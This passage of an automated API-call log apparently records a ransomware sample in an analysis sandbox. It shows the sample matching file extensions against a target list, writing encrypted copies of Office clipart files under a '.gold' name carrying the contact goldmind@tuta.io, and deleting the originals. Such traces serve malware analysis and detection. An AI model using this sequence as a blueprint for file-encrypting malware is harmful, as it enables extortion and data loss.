lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".7z") returned 3 [0111.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".dbf") returned 4 [0111.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".1cd") returned 4 [0111.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".jpg") returned 4 [0111.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".doc") returned 4 [0111.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".docx") returned 5 [0111.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0111.071] lstrlenW (lpString=".pdf") returned 4 [0111.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".xls") returned 4 [0111.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.071] lstrlenW (lpString=".xlsx") returned 5 [0111.071] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0111.071] lstrlenW (lpString=".ppt") returned 4 [0111.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".zip") returned 4 [0111.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.071] lstrlenW (lpString=".rar") returned 4 [0111.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".bz2") returned 4 [0111.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString=".7z") returned 3 [0111.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".dbf") returned 4 [0111.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".1cd") returned 4 [0111.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0111.071] lstrlenW (lpString=".jpg") returned 4 [0111.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.071] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.072] lstrlenW (lpString="J0157177.WMF") returned 12 [0111.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.072] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=21716) returned 1 [0111.072] CloseHandle (hObject=0x19c) returned 1 [0111.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0111.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.074] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.074] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.074] GetLastError () returned 0x0 [0111.074] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x54d4, lpOverlapped=0x0) returned 1 [0111.076] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x54e0, lpOverlapped=0x0) returned 1 [0111.077] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.077] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.077] SetEndOfFile (hFile=0x194) returned 1 [0111.077] CloseHandle (hObject=0x194) returned 1 [0111.077] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.077] SetEndOfFile (hFile=0x19c) returned 1 [0111.079] CloseHandle (hObject=0x19c) returned 1 [0111.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0111.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.080] lstrlenW (lpString=".doc") returned 4 [0111.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.080] lstrlenW (lpString=".docx") returned 5 [0111.080] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.080] lstrlenW (lpString=".pdf") returned 4 [0111.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.080] lstrlenW (lpString=".xls") returned 4 [0111.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.080] lstrlenW (lpString=".xlsx") returned 5 [0111.080] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.080] lstrlenW (lpString=".ppt") returned 4 [0111.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.080] lstrlenW (lpString=".zip") returned 4 [0111.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.080] lstrlenW (lpString=".rar") returned 4 [0111.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.080] lstrlenW (lpString=".bz2") returned 4 [0111.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.080] lstrlenW (lpString=".7z") returned 3 [0111.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.080] lstrlenW (lpString=".dbf") returned 4 [0111.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.081] lstrlenW (lpString=".1cd") returned 4 [0111.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.081] lstrlenW (lpString=".jpg") returned 4 [0111.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.081] lstrlenW (lpString=".doc") returned 4 [0111.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString=".docx") returned 5 [0111.081] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.081] lstrlenW (lpString=".pdf") returned 4 [0111.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString=".xls") returned 4 [0111.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.081] lstrlenW (lpString=".xlsx") returned 5 [0111.081] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.081] lstrlenW (lpString=".ppt") returned 4 [0111.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.081] lstrlenW (lpString=".zip") returned 4 [0111.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.081] lstrlenW (lpString=".rar") returned 4 [0111.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString=".bz2") returned 4 [0111.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.081] lstrlenW (lpString=".7z") returned 3 [0111.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.082] lstrlenW (lpString=".dbf") returned 4 [0111.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.082] lstrlenW (lpString=".1cd") returned 4 [0111.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0111.082] lstrlenW (lpString=".jpg") returned 4 [0111.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.082] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.082] lstrlenW (lpString="J0157191.WMF") returned 12 [0111.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.083] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17912) returned 1 [0111.083] CloseHandle (hObject=0x19c) returned 1 [0111.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0111.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.083] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.083] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.084] GetLastError () returned 0x0 [0111.084] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x45f8, lpOverlapped=0x0) returned 1 [0111.085] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4600, lpOverlapped=0x0) returned 1 [0111.086] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.086] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.086] SetEndOfFile (hFile=0x194) returned 1 [0111.086] CloseHandle (hObject=0x194) returned 1 [0111.087] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.087] SetEndOfFile (hFile=0x19c) returned 1 [0111.088] CloseHandle (hObject=0x19c) returned 1 [0111.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0111.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.089] lstrlenW (lpString=".doc") returned 4 [0111.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.089] lstrlenW (lpString=".docx") returned 5 [0111.089] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.090] lstrlenW (lpString=".pdf") returned 4 [0111.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString=".xls") returned 4 [0111.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.090] lstrlenW (lpString=".xlsx") returned 5 [0111.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.090] lstrlenW (lpString=".ppt") returned 4 [0111.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".zip") returned 4 [0111.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.090] lstrlenW (lpString=".rar") returned 4 [0111.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString=".bz2") returned 4 [0111.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString=".7z") returned 3 [0111.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".dbf") returned 4 [0111.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".1cd") returned 4 [0111.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".jpg") returned 4 [0111.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".doc") returned 4 [0111.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString=".docx") returned 5 [0111.090] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.090] lstrlenW (lpString=".pdf") returned 4 [0111.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString=".xls") returned 4 [0111.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.090] lstrlenW (lpString=".xlsx") returned 5 [0111.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.090] lstrlenW (lpString=".ppt") returned 4 [0111.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.090] lstrlenW (lpString=".zip") returned 4 [0111.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.091] lstrlenW (lpString=".rar") returned 4 [0111.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.091] lstrlenW (lpString=".bz2") returned 4 [0111.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.091] lstrlenW (lpString=".7z") returned 3 [0111.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.091] lstrlenW (lpString=".dbf") returned 4 [0111.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.091] lstrlenW (lpString=".1cd") returned 4 [0111.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0111.091] lstrlenW (lpString=".jpg") returned 4 [0111.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.091] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.091] lstrlenW (lpString="J0157831.WMF") returned 12 [0111.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.092] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11396) returned 1 [0111.092] CloseHandle (hObject=0x19c) returned 1 [0111.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0111.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.092] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.092] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.093] GetLastError () returned 0x0 [0111.093] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2c84, lpOverlapped=0x0) returned 1 [0111.095] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0111.095] ReadFile (in: hFile=0x19c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.095] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.095] SetEndOfFile (hFile=0x194) returned 1 [0111.096] CloseHandle (hObject=0x194) returned 1 [0111.096] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.096] SetEndOfFile (hFile=0x19c) returned 1 [0111.097] CloseHandle (hObject=0x19c) returned 1 [0111.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0111.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.098] lstrlenW (lpString=".doc") returned 4 [0111.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.098] lstrlenW (lpString=".docx") returned 5 [0111.098] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0111.098] lstrlenW (lpString=".pdf") returned 4 [0111.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.098] lstrlenW (lpString=".xls") returned 4 [0111.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.098] lstrlenW (lpString=".xlsx") returned 5 [0111.098] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0111.099] lstrlenW (lpString=".ppt") returned 4 [0111.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".zip") returned 4 [0111.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.099] lstrlenW (lpString=".rar") returned 4 [0111.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".bz2") returned 4 [0111.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString=".7z") returned 3 [0111.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".dbf") returned 4 [0111.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".1cd") returned 4 [0111.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0111.099] lstrlenW (lpString=".jpg") returned 4 [0111.099] 